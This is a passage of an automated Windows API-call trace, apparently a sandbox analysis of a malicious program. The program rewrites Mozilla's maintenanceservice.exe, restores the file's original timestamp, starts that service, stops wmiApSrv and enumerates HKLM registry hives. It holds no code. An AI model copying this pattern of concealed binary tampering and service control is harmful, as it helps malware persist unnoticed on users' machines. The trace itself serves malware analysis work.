lpDistanceToMoveHigh=0x36f508*=0) returned 0x0 [0217.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x1d280) returned 0x21f4ea8 [0217.513] ReadFile (in: hFile=0x154, lpBuffer=0x21f4ea8, nNumberOfBytesToRead=0x1d270, lpNumberOfBytesRead=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x21f4ea8*, lpNumberOfBytesRead=0x36f53c*=0x1d270, lpOverlapped=0x0) returned 1 [0217.537] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x1d280) returned 0x2159e98 [0217.544] SetEndOfFile (hFile=0x154) returned 1 [0217.545] GetFileTime (in: hFile=0x154, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550*(dwLowDateTime=0x2d22cc80, dwHighDateTime=0x1ced1ee)) returned 1 [0217.545] FileTimeToSystemTime (in: lpFileTime=0x36f550, lpSystemTime=0x36f57c | out: lpSystemTime=0x36f57c) returned 1 [0217.545] SystemTimeToFileTime (in: lpSystemTime=0x36f57c, lpFileTime=0x36f550 | out: lpFileTime=0x36f550) returned 1 [0217.545] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0217.545] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x100) returned 0x21e4e38 [0217.545] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0217.545] NtClose (Handle=0x154) returned 0x0 [0217.545] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe:0" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\maintenanceservice.exe:0"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x252de10, ftCreationTime.dwLowDateTime=0x1, ftCreationTime.dwHighDateTime=0x252e948, ftLastAccessTime.dwLowDateTime=0x36f4f0, ftLastAccessTime.dwHighDateTime=0x90a79c, ftLastWriteTime.dwLowDateTime=0x461bad0a, ftLastWriteTime.dwHighDateTime=0x80, nFileSizeHigh=0x2, nFileSizeLow=0x36f5a4)) returned 0 [0217.545] GetLastError () returned 0x2 [0217.545] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe:0" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\maintenanceservice.exe:0"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0217.545] SetFileTime (hFile=0x154, lpCreationTime=0x0, lpLastAccessTime=0x36f510, lpLastWriteTime=0x36f510) returned 1 [0217.545] WriteFile (in: hFile=0x154, lpBuffer=0x2159e98*, nNumberOfBytesToWrite=0x1d270, lpNumberOfBytesWritten=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x2159e98*, lpNumberOfBytesWritten=0x36f53c*=0x1d270, lpOverlapped=0x0) returned 1 [0217.548] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0217.548] SetFileTime (hFile=0x154, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550) returned 1 [0217.548] NtClose (Handle=0x154) returned 0x0 [0217.548] OpenServiceW (hSCManager=0x803918, lpServiceName="MozillaMaintenance", dwDesiredAccess=0x10) returned 0x803990 [0217.548] StartServiceW (hService=0x803990, dwNumServiceArgs=0x0, lpServiceArgVectors=0x0) returned 1 [0218.385] CloseServiceHandle (hSCObject=0x803990) returned 1 [0218.386] WaitForSingleObject (hHandle=0x0, dwMilliseconds=0x1388) returned 0xffffffff [0218.386] GetLastError () returned 0x6 [0218.386] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2159e98) returned 1 [0218.386] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0218.386] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0218.386] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0218.386] OpenServiceW (hSCManager=0x803918, lpServiceName="wmiApSrv", dwDesiredAccess=0x20) returned 0x8038a0 [0218.387] ControlService (in: hService=0x8038a0, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0218.485] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0218.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0218.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0218.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0218.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0218.485] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0218.485] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0218.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0218.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1cd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0218.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.485] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.485] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.485] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.485] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0218.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0218.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0218.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.486] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.486] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.486] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.486] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0218.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0218.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0218.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.486] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.486] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.486] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.486] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0218.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0218.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0218.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.486] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.486] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.486] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.486] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0218.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0218.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0218.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.487] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.487] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.487] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.487] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0218.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0218.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0218.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.487] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.487] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.487] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.487] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0218.487] RegCloseKey (hKey=0x80000002) returned 0x0 [0218.487] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0218.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0218.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1cd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0218.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.487] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.487] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.487] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.487] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0218.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0218.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1d60, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0218.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.488] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0218.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0218.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1cd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0218.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.488] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0218.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0218.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1d60, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0218.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.488] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0218.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0218.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0218.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.488] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0218.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0218.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1d60, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0218.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.489] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0218.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0218.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0218.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.489] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0218.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0218.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1d60, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0218.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.489] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0218.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0218.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1cd0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0218.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.490] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0218.490] RegCloseKey (hKey=0x148) returned 0x0 [0218.490] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0218.490] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0218.490] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0218.490] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.490] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0218.490] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0218.490] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, 